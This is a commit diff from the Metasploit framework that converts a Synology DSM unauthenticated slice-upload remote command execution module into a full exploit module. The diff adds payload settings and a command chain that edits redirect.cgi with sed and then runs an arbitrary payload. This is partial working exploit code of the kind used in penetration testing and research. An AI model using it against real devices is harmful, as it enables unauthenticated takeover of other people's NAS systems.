Skip to content

Commit 929f3ea

Browse files
committed
Turn Auxiliary module into Exploit module
1 parent 15f6a62 commit 929f3ea

File tree

1 file changed

+21
-5
lines changed

1 file changed

+21
-5
lines changed

modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb renamed to modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb

Lines changed: 21 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
require 'msf/core'
77

8-
class Metasploit3 < Msf::Auxiliary
8+
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
@@ -34,6 +34,23 @@ def initialize(info={})
3434
],
3535
'License' => MSF_LICENSE,
3636
'Privileged' => false,
37+
'Platform' => ['unix'],
38+
'Arch' => ARCH_CMD,
39+
'Payload' =>
40+
{
41+
'DisableNops' => true,
42+
'Space' => 0x31337,
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'generic perl telnet',
47+
}
48+
},
49+
'Targets' =>
50+
[
51+
['Automatic', {}]
52+
],
53+
'DefaultTarget' => 0,
3754
'DisclosureDate' => 'Oct 31 2013',
3855
'References' =>
3956
[
@@ -43,8 +60,7 @@ def initialize(info={})
4360

4461
register_options(
4562
[
46-
Opt::RPORT(5000),
47-
OptString.new('CMD', [true, 'The shell command to execute'])
63+
Opt::RPORT(5000)
4864
], self.class)
4965
end
5066

@@ -83,11 +99,11 @@ def check
8399
Exploit::CheckCode::Safe
84100
end
85101

86-
def run
102+
def exploit
87103
cmds = [
88104
# sed is used to restore the redirect.cgi
89105
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
90-
datastore['CMD']
106+
payload.encoded
91107
].join("\n")
92108

93109
mime_msg = Rex::MIME::Message.new

0 commit comments

Comments
 (0)